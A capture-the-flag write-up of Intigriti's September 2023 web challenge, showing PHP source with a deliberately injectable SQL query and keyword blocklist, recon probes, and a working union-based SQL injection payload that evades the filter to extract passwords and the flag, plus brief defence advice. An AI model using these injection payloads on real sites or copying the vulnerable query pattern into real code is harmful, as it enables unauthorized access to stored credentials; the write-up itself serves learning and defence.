Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 15, 2024 18:30
Show Gist options
  • Save Siss3l/0d9a990fd0eec93bc690c3a089249f8a to your computer and use it in GitHub Desktop.
Save Siss3l/0d9a990fd0eec93bc690c3a089249f8a to your computer and use it in GitHub Desktop.
Intigriti's September 2023 Web challenge thanks to @sgrum0x

Intigriti September Challenge

  • Category: Web
  • Impact: Medium
  • Solves: ~40

Challenge

Description

Find the flag on server-side.

The solution:

  • Should retrieve the flag from the web server;
  • Should not use another challenge on the intigriti.io domain;
  • The flag format is INTIGRITI{.*}.

Overview

For this September month, we have a web challenge page displaying a list of 10 (up to 101) database users:

<?php
if (isset($_GET['showsource'])) {
    highlight_file(__FILE__);
    exit();
}
require_once("config.php");
$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];
try {
    $pdo = new PDO($dsn, $user, $pass, $options);
} catch (\PDOException $e) {
    exit("Unable to connect to DB");
}
$max = 10;
if (isset($_GET['max']) && !is_array($_GET['max']) && $_GET['max']>0) {
    $max = $_GET['max'];
    $words  = ["'","\"",";","`"," ","a","b","h","k","p","v","x","or","if","case","in","between","join","json","set",
               "=","|","&","%","+","-","<",">","#","/","\r","\n","\t","\v","\f"]; // list of characters to check
    foreach ($words as $w) {
        if (preg_match("#".preg_quote($w)."#i", $max)) {
            exit("H4ckerzzzz");
        } // no weird chars
    }       
}
try{ // seen in production
    $stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");
    $stmt->execute();
    $results = $stmt->fetchAll();
}
catch(\PDOException $e){
    exit("ERROR: BROKEN QUERY");
}
/* FYI
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    email VARCHAR(255) UNIQUE NOT NULL,
    password VARCHAR(255) NOT NULL
); */
?>
<!DOCTYPE html>
<html lang="en">
 <body>
  <head>
    <meta charset="UTF-8">
    <title>Users</title>
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <div class="container mt-5">
    <h2>Users</h2>
    <table class="table table-bordered">
        <thead>
            <tr>
                <th>ID</th>
                <th>Name</th>
                <th>Email</th>
            </tr>
        </thead>
        <tbody>
            <?php foreach ($results as $row): ?>
                <tr>
                    <td><?= htmlspecialchars(strpos($row['id'],"INTIGRITI")===false?$row['id']:"REDACTED"); ?></td> 
                    <td><?= htmlspecialchars(strpos($row['name'],"INTIGRITI")===false?$row['name']:"REDACTED"); ?></td>
                    <td><?= htmlspecialchars(strpos($row['email'],"INTIGRITI")===false?$row['email']:"REDACTED"); ?></td>
                </tr>
            <?php endforeach; ?>
        </tbody>
    </table>
    <div class="text-center mt-4">
        <!-- Show Source Button -->
        <a href="?showsource=1" class="btn btn-primary">Show Source</a>
    </div>
  </div>
  <!-- including Bootstrap & jQuery -->
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
 </body>
</html>

We quickly notice the problem of some possible SQL injection on the filtered $max parameter:

$stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");

The SQL injection is a type of cyberattack where an attacker inserts malicious Structured Query Language code into a database query to manipulate the database or access unauthorized data.

We will also need to find a way to display the password VARCHAR(255) NOT NULL entity, in relational algebra:

$$\begin{align*}\Large\pi_{\text{id, name, email }}\sigma_{\text{id }\le\text{$max }\Large{users}}\end{align*}$$

$$\begin{align*}\large\prod_iS_i&\overset f\mapsto{T,F}&f((s_1,\dots,s_n))=T\iff(s_1,\dots,s_n)\in R\end{align*}$$

So in PHP, the strpos function can find the position of the first occurrence of a substring in a string and this last part of filtering will be easily bypassed, since the id integer parameter will not be there (in lowercase) as a string value:

<?= htmlspecialchars(strpos($row['id'],"INTIGRITI") === false ? $row['id']:"REDACTED"); ?>

Recon

We will try different types of fuzzing anthologies:

  • max=true*15 returns the first fifteen users;
  • max=0eunion returns ERROR: BROKEN QUERY error;
  • max=1*(select(1)) returns the first 1 Sgrum0x sgrum0x@example.com user;
  • max=1*(1)union(select(current_user()),1,1) returns the first root@% 1 1 user;
  • max=md5(9) equals to 45c48cce2e2d7fbdea1afc51c7c6ad26 that behaves as the integer 45 who returns the first 45 users;
  • select(quote(mid(md5(4),1,1))) returns the varchar letter 'a' in SQL;
  • select(encode(mid(8,1,1),52)) returns the BLOB letter p in SQL;
  • select(decode(decode(true,0),4)) returns the BLOB letter r in SQL;
  • limit(0,1) can't be used directly, we won't need Sqlmap tool either;
  • #%~?!@\s\0👀, are differently filtered;
  • select(round(cos(3))) returns the -1 negative integer;
  • @@session.time_zone returns the SYSTEM varchar;
  • user() returns the root@127.0.0.1 varchar;
  • _rowid returns the pseudo column mapped to the primary key in the related table.

In particular, we can launch a database locally in a Docker container.

Database

POC

We take a look to PayloadsAllTheThings to help adding direct variables to display all the columns in one row.

Dog

We see that we can combine different queries from the users table as the union(select(id),id,(id)from(users)) code.

We then use the Mid function to display almost the data of the password column and thereforce, we easily obtain a valid max=0*(0)union(select(mid(zzzz,2,50)),(0),(0)from(select(0)z,(0)zz,(0)zzz,(0)zzzz,(0)union(select*,(0)from(users)))t) SQL injection request!

Here is an explanation of the above request:

  • 0*(0) is used to ensure that the first part of the Union statement does not return any meaningful data;
  • union clause is used to combine the result sets of two or more Select statements;
  • select(mid(zzzz,2,50)) code extract data from an alias column named zzzz (as password) and uses the Mid function to extract a substring starting from the 2nd character with a length of 50 characters, bypassing strpos check;
  • (0),(0) are placeholders for additional columns in the result set;
  • from(select(0)z,(0)zz,(0)zzz,(0)zzzz,(0)union(select*,(0)from(users)))t) subquery create a derived table t (or n) with multiple rows, each containing zeros because the purpose is to match the number of columns in the main query so the select *, (0) from (users) part extract data from the users table.

Flag

Overall, this will gives us the following flag INTIGRITI{bl4ckli5t1ng_1z_n0t_7h3_w4y}.
The SHA3-256 hash of this flag is 393231035aea568bf671e16e6032234ea76d051fd2e0d92f5e34389e016cba5b.

Defense

  • Validating and sanitizing user inputs, prepared statements and parameterized queries;
  • Better appropriate and suitable blacklisting;
  • No showsource (which displays source code, without rights) or strpos usage in plaintext;
  • Password encryption with salt on Argon2id key derivation function.

Appendix

Have a nice day and see you for the next challenge!

Cat

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment